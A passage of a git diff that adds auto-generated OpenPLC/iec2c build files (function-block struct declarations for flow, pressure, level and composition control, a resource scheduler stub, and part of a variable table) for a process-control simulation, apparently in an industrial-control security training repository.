Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; 